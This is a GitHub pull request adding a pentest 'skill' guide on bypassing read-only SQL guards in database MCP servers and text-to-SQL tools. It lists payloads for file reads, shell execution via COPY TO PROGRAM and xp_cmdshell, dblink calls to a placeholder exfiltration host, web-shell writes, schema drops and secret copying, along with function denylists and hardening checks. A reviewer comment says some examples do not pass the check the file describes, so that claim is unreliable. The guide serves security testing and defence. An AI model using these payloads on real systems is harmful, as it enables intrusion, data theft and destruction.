-
Notifications
You must be signed in to change notification settings - Fork 4.6k
docs(skills): add MCP/DB read-only guard bypass skill #846
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
gulmezeren2-byte
wants to merge
1
commit into
usestrix:main
Choose a base branch
from
gulmezeren2-byte:add-mcp-sql-guard-bypass-skill
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+56
−0
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,56 @@ | ||
| --- | ||
| name: mcp-sql-guard-bypass | ||
| description: Bypass "read-only"/safe-SQL guards in database MCP servers, text-to-SQL endpoints, and admin query consoles — well-formed SELECTs that read files, dial out, run shell, or escape the read-only transaction. Distinct from classic SQLi (here the app intends to run caller-supplied SELECTs; the flaw is a shape-based safety check). | ||
| --- | ||
|
|
||
| # Read-only / Safe-SQL Guard Bypass (DB MCP tools & text-to-SQL) | ||
|
|
||
| A growing class of apps *intends* to let a caller run arbitrary `SELECT`s — database MCP servers (a `query` tool), text-to-SQL assistants, BI connectors, admin consoles — and gate them with a "read-only" check. When that check is **shape-based** (`startswith("SELECT")`, a write-keyword blocklist, or a read-only transaction the driver lets you escape), it is bypassable. This is the class behind the archived reference PostgreSQL MCP server (a `COMMIT; DROP SCHEMA …` walking out of `BEGIN TRANSACTION READ ONLY`) and the Supabase "lethal trifecta." It is **not** classic SQL injection (attacker-controlled fragment in a trusted query) — here the caller is *allowed* to send a full statement, and the bypass is a legitimate-looking `SELECT`. | ||
|
|
||
| ## Attack Surface | ||
|
|
||
| - **MCP servers** exposing `query` / `execute_sql` / `check_query` tools that advertise "read-only". | ||
| - **Text-to-SQL / NL-to-SQL** endpoints that run the generated SQL. | ||
| - **BI / reporting / "SQL runner" consoles** that "only allow SELECT." | ||
| - Anywhere a guard claims read-only but runs the statement on a login that is *not* itself least-privilege. | ||
|
|
||
| ## Techniques (well-formed reads that are not reads) | ||
|
|
||
| Reframe by engine — each is a single `SELECT`/statement a shape check passes: | ||
|
|
||
| **PostgreSQL** | ||
| - File read: `SELECT pg_read_file('/etc/passwd')`, `pg_read_binary_file(...)`, `lo_import('/etc/passwd')` | ||
| - File **write**: `SELECT lo_export(lo_import('/etc/passwd'),'/tmp/x')`, `COPY (SELECT 1) TO PROGRAM 'id'` | ||
| - Outbound / SSRF / exfil: `SELECT * FROM dblink('host=OOB_HOST','SELECT 1') AS t(x int)` | ||
| - Re-enter executor / flip session: `query_to_xml('SELECT 1',true,false,'')`, `set_config('default_transaction_read_only','off',false)` | ||
| - Transaction escape (stacked): `COMMIT; DROP SCHEMA public CASCADE;` | ||
|
|
||
| **MSSQL** — `EXEC xp_cmdshell 'whoami'`; `SELECT * FROM OPENROWSET(BULK 'C:\\Windows\\win.ini', SINGLE_CLOB) x`; `OPENQUERY`/`OPENDATASOURCE` to a linked/attacker server; `sp_OACreate` (OLE) | ||
|
|
||
| **MySQL/MariaDB** — `SELECT LOAD_FILE('/etc/passwd')`; `SELECT a INTO OUTFILE '/var/www/shell.php' FROM t`; `sys_exec('id')` (UDF) | ||
|
|
||
| **SQLite** — `SELECT load_extension('evil.so')`; `ATTACH DATABASE '/path/x.db' AS y` | ||
|
|
||
| **Obfuscation to defeat name/keyword scans** — inline comments (`SELECT/**/pg_read_file(...)`), mixed case, whitespace before `(`, a write keyword hidden inside a string literal to probe brittle blocklists. | ||
|
|
||
| ## Confirmation (prove it, don't guess) | ||
|
|
||
| Turn a suspected bypass into evidence a report can stand on: | ||
| - **Out-of-band**: `dblink`/`LOAD_FILE`/`xp_dirtree` to an interactsh/Burp Collaborator host; a DNS/HTTP hit confirms outbound execution. | ||
| - **File-read echo**: read a known file and observe its contents in the result set. | ||
| - **Time-based** (blind/no output channel): `pg_sleep(10)` / `SELECT SLEEP(10)` / `BENCHMARK(...)` — a measurable delay confirms execution. | ||
| - **Second-order** (the "lethal trifecta"): a write that lands data an attacker can later read (`INSERT INTO public_table SELECT secret FROM tokens`). | ||
|
|
||
| ## False-positive avoidance (is it actually vulnerable?) | ||
|
|
||
| A hardened guard checks what a statement **calls**, not just its shape. Before reporting, verify the target is *not* doing all of: | ||
| - Parses the statement and **fails closed** on unparseable input (so `OPENROWSET` is refused, not passed). | ||
| - Rejects side-effecting functions by name on the AST **and** lexically (denylist of `pg_read_file`/`dblink`/`xp_cmdshell`/…). | ||
| - Rejects a second statement / comments / write-DDL nodes even inside a CTE. | ||
| - Runs on a **read-only, least-privilege DB login** (so even a missed function can't write). | ||
|
|
||
| If those hold, the payloads above will be refused — that's a *pass*, not a finding. A quick way to characterize a guard's coverage is the open-source [readonly-sql-guard](https://github.com/gulmezeren2-byte/readonly-sql-guard) 28-attack benchmark; a hardened target refuses all of them, a shape-only one lets most through. | ||
|
|
||
| ## Impact | ||
|
|
||
| RCE (shell functions), arbitrary file read/write, SSRF/pivot to internal services, and full data exfiltration — from a tool the operator believed was read-only. Report with the confirmed payload, the confirmation channel, and the specific guard weakness (shape check vs. function-level enforcement). | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This says every example passes a shape check, but
COPY,EXEC,ATTACH, and the stackedCOMMIT; DROPpayload do not pass the describedstartswith("SELECT")guard. An agent testing that guard can draw the wrong conclusion from rejected payloads and miss a real SELECT-shaped bypass; separate the techniques by the exact guard they bypass.Prompt To Fix With AI